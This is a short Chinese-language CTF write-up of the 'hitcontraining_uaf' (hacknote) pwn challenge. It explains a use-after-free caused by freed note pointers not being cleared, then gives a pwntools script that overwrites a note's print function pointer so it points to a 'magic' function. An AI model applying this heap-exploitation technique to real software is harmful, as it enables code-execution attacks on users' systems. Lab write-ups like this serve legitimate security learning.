复健pwn的第一天,做的是一个uaf的题目,较为简单。
hitcontraining_uaf
一看就是菜单题,看看add note函数
可以看出来这个堆结构比较奇特
看delete可以看出free掉堆之后并没有将其置零,所以不管是notelist还是堆中都存在有原来的地址。所以存在uaf漏洞,接着可以从函数列表中找到magic函数,所以,我们的思路就是将Printnote换成magic函数,调用print功能即可。
问题:有传参,但是ida中magic函数没有传参,然后调试的时候有四个参数很奇怪。
接着做题,那思路就是先add两个0x20的堆,然后再释放掉,再add一个8大小的堆,这个时候add填的内容就是改0中Printnote(因为没有置0),最后再Print(0)即可
from pwn import *
p=process('/home/hacker/Desktop/hacknote')
context(log_level='debug',arch='amd64',os='linux')
def allocated(size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",content)
def delete(index):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
def Print(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))
allocated(0x20,"aaaa")
allocated(0x20,"bbbb")
delete(0)
delete(1)
allocated(8,p32(0x8048945))
gdb.attach(p)
pause()
Print(0)
p.interactive()